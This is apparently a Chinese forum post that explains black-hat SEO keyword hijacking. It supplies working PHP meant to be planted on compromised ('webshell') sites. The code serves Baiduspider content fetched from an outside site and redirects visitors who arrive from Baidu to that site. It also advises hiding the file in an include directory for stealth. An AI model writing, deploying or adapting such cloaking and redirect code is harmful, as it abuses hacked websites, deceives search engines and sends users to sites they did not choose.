我昨天百度了一下关键词劫持(黑帽seo)相关的内容,可是得到的内容却少的可怜(百度不想让很多人都了解这种技术?)
其实原理很简单:
搜索引擎关键词劫持的过程实际上就是,修改肉鸡站点(webshell站点)A的首页(希望被搜索引擎收录的页面,一般情况下是首页),使之做出如下判断:
if(来访者是蜘蛛){
输出指定内容
}
if(用户是从搜索引擎点击进入网站的){
跳转我们希望跳转的站点B
}
所以我们可以达到如下效果:
针对蜘蛛来说,如果来访者是指定的蜘蛛,那么输出希望让蜘蛛看到的内容,如果来访者不是蜘蛛,则输出希望给正常用户看到的内容。正常用户在浏览器地址栏输入网址访问网站A,看到正常的首页,如果用户点击百度的搜索结果中的链接进入网站A,则跳转我们要做SEO的站点B。
表达能力有限,说了这么多也不知道大家明白没有。。。
那好吧,下面我来上代码,大家可能一看就懂了。代码很短,也很容易理解。
<?php
################################################
# 可以把本文件放在类似inc、include这样的目录中 #
# 首页require_once('本文件路径');就可以了 #
# 这样会比较隐蔽 #
################################################
if(strpos(strtolower($_SERVER['HTTP_USER_AGENT']),'baiduspider') !== false ) {
//判断搜索引擎,这里是百度,可以自行添加蜘蛛
/*
Header("HTTP/1.1 301 Moved Permanently");
Header("Location: http://www.hccbbs.com/");
//这是301跳转,301主要针对搜索引擎,如果你想告诉搜索引擎这个页面已经更换URL了的话...
*/
$file = file_get_contents('http://www.hccbbs.com/forum.php');
echo $file;//输出指定文件内容
exit;
}
//判断来路
if(stristr ($_SERVER['HTTP_REFERER'],"baidu.com")) {//如果用户来自baidu.com
//Header("HTTP/1.1 301 Moved Permanently");//301跳转,也可以不用301,直接跳转,301状态码主要针对搜索引擎使用
Header("Location: http://www.hccbbs.com/");//跳转
exit;
}
?>
最近想搞搜索引擎关键词劫持,所以看了一下这方面的资料,加上稍微会那么一丁点php,所以写了个php的,见笑。